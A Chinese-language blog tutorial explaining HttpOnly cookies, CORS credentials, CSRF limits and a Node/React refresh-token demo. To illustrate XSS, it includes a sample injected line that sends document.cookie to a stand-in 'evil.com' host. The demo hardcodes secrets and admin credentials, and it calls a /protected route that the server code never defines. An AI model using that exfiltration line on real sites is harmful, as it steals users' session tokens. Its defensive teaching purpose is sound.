HttpOnly Cookie 全解析

  在前端开发中,我们经常与 Cookie 打交道。它是浏览器最原始的数据持久化方案,被广泛用于记录登录状态、用户偏好等信息。然而,Cookie 也是 XSS 攻击的高发地带,尤其是当我们把敏感信息(如 Token)直接暴露在 document.cookie 中时,风险极高。为了解决这一问题,浏览器支持了一个重要的 Cookie 属性:HttpOnly。它是保障 Web 安全的重要方法,很多前后端分离项目在实现登录、权限控制时,都会用到。

是什么

HttpOnly 是 Cookie 的一个标志属性,它告诉浏览器:

这个 Cookie 只能通过 HTTP 请求发送到服务器,JavaScript 不准访问它。

简单来说,它是服务端专用的 Cookie,浏览器在请求时会自动带上它,但 JS 无法通过 document.cookie 访问或修改它。

常见场景:防止 XSS 窃取 Token

在 Web 应用中,如果我们将用户的 access_tokenrefresh_token 存在 localStorage 或普通 Cookie 里,一旦遭遇 XSS 攻击:

1
2
// 恶意脚本注入
fetch('https://evil.com/steal?token=' + document.cookie)

攻击者就可以窃取用户的 Token,伪装成用户发请求。

如果我们使用 HttpOnly Cookie:

  • document.cookie 拿不到敏感信息
  • 即使被注入了恶意脚本,也无法读取 Token

可以显著提升安全性。(其实其实,也就一点点)

怎么用

HttpOnly Cookie 的关键点不在“如何操作”,而在于“前端请求是否允许携带” + “服务端是否允许接收”

在服务端响应中设置 Cookie,并开启 HttpOnly 属性:

使用 HTTP 头

1
Set-Cookie: refresh_token=abc123; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=604800

使用 Express 携带

1
2
3
4
5
6
7
res.cookie('refresh_token', token, {
httpOnly: true, // JS 无法访问
secure: true, // 仅在 HTTPS 下发送
sameSite: 'strict', // 防止 CSRF 攻击
path: '/',
maxAge: 7 * 24 * 60 * 60 * 1000 // 一周
})

最佳实践:

  • 登录成功时:设置 HttpOnlyrefresh_token(长期有效)
  • 返回响应体中的 access_token(短期有效)
  • 前端仅保存 access_token不保存 refresh_token

在前端发请求时,要显式告诉浏览器:我要带上 Cookie!

以 Axios 为例:

1
2
3
4
5
6
axios.post('https://api.example.com/login', {
username,
password
}, {
withCredentials: true // 关键配置
})

这个配置会让浏览器:

  • 自动接收后端设置的 Cookie(包括 HttpOnly 的)
  • 后续请求自动携带这些 Cookie 给后端

跨域请求注意事项

如果你的前后端不是同一个域名(如前端在 localhost:5173,后端在 localhost:3000),需要配置跨域允许携带 Cookie

服务端必须设置以下响应头:

1
2
Access-Control-Allow-Origin: https://frontend.example.com
Access-Control-Allow-Credentials: true

否则:

  • 浏览器不会接收服务端返回的 Cookie
  • 也不会在请求中自动带上 Cookie
  • 就算设置了 withCredentials: true 也无效

局限性

虽然 HttpOnly 能防止 XSS 读取 Cookie,但它不能防止 CSRF(跨站请求伪造),因为:

浏览器会自动携带 Cookie,哪怕请求是由恶意网站发起的。

防范 CSRF 的方法:

  • 搭配使用 SameSite=StrictLax
  • 使用 CSRF Token 校验机制

代码实现

场景设定

使用 HttpOnly Cookie 管理 Token(基于 Node.js + React)

我们实现一个最小可运行的登录逻辑:

  • 用户登录后,后端返回 access_token,并将 refresh_token 设置为 HttpOnly Cookie
  • 后续请求携带 access_token,如果过期,前端请求 /refresh,自动携带 refresh_token 完成续期

后端代码

安装依赖:

1
npm install express cookie-parser jsonwebtoken cors

简化版后端逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// server.js
const express = require('express')
const jwt = require('jsonwebtoken')
const cookieParser = require('cookie-parser')
const cors = require('cors')

const app = express()
app.use(express.json())
app.use(cookieParser())

// 跨域允许前端携带 Cookie
app.use(cors({
origin: 'http://localhost:5173',
credentials: true
}))

const SECRET = 'access-secret'
const REFRESH_SECRET = 'refresh-secret'

app.post('/login', (req, res) => {
const { username, password } = req.body

// 简化验证逻辑
if (username === 'admin' && password === '123456') {
const accessToken = jwt.sign({ user: 'admin' }, SECRET, { expiresIn: '15s' })
const refreshToken = jwt.sign({ user: 'admin' }, REFRESH_SECRET, { expiresIn: '7d' })

res.cookie('refresh_token', refreshToken, {
httpOnly: true,
secure: false, // 本地开发环境设为 false,线上设为 true
sameSite: 'strict',
path: '/',
maxAge: 7 * 24 * 60 * 60 * 1000
})

return res.json({ access_token: accessToken })
}

res.status(401).json({ message: '用户名或密码错误' })
})

app.post('/refresh', (req, res) => {
const token = req.cookies.refresh_token
if (!token) return res.status(401).json({ message: '未提供刷新令牌' })

try {
const payload = jwt.verify(token, REFRESH_SECRET)
const newAccessToken = jwt.sign({ user: payload.user }, SECRET, { expiresIn: '15s' })
res.json({ access_token: newAccessToken })
} catch (err) {
res.status(401).json({ message: '刷新失败,请重新登录' })
}
})

app.listen(3000, () => console.log('🚀 Server running on http://localhost:3000'))

前端代码

配置 Axios:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// api.ts
import axios from 'axios'

const api = axios.create({
baseURL: 'http://localhost:3000',
withCredentials: true, // 允许携带 HttpOnly Cookie
})

// 自动添加 Authorization header
api.interceptors.request.use((config) => {
const token = sessionStorage.getItem('access_token')
if (token) {
config.headers.Authorization = `Bearer ${token}`
}
return config
})

export default api

登录逻辑 & 刷新逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// App.tsx
import React, { useState } from 'react'
import api from './api'

function App() {
const [info, setInfo] = useState('')

const login = async () => {
const res = await api.post('/login', {
username: 'admin',
password: '123456',
})
sessionStorage.setItem('access_token', res.data.access_token)
setInfo('登录成功')
}

const getProtectedData = async () => {
try {
const res = await api.get('/protected')
setInfo(res.data.message)
} catch (err: any) {
if (err.response.status === 401) {
// 尝试刷新 token
try {
const refreshRes = await api.post('/refresh')
sessionStorage.setItem('access_token', refreshRes.data.access_token)
getProtectedData() // 重新请求
} catch {
setInfo('登录过期,请重新登录')
}
}
}
}

return (
<div>
<button onClick={login}>登录</button>
<button onClick={getProtectedData}>获取受保护数据</button>
<p>{info}</p>
</div>
)
}

export default App

逻辑验证

  1. 启动服务端:node server.js
  2. 启动前端(Vite 项目):npm run dev
  3. 点击「登录」后会收到 access_token 和后端设置的 refresh_token
  4. 15 秒后再点击「获取受保护数据」,触发刷新流程
  5. 如果 refresh_token 过期,将提示重新登录

流程小结

步骤 行为 携带
登录 后端设置 HttpOnly Cookie 和返回 access_token access_token (响应体),refresh_token (Cookie)
请求 使用 access_token 调用 API Authorization: Bearer xxx
access_token 过期 调用 /refresh Cookie 自动携带 refresh_token
刷新成功 获取新的 access_token,更新本地存储 -
刷新失败 清除状态,跳转登录 -

通过这样的设计,我们可以:

  • 避免前端保存敏感的 refresh_token
  • 防止 XSS 攻击获取登录令牌
  • 实现自动续期 + 无感体验
  • 保持前后端的逻辑清晰、职责分离
作者

Fu9Zhou

发布于

2025-07-22

许可协议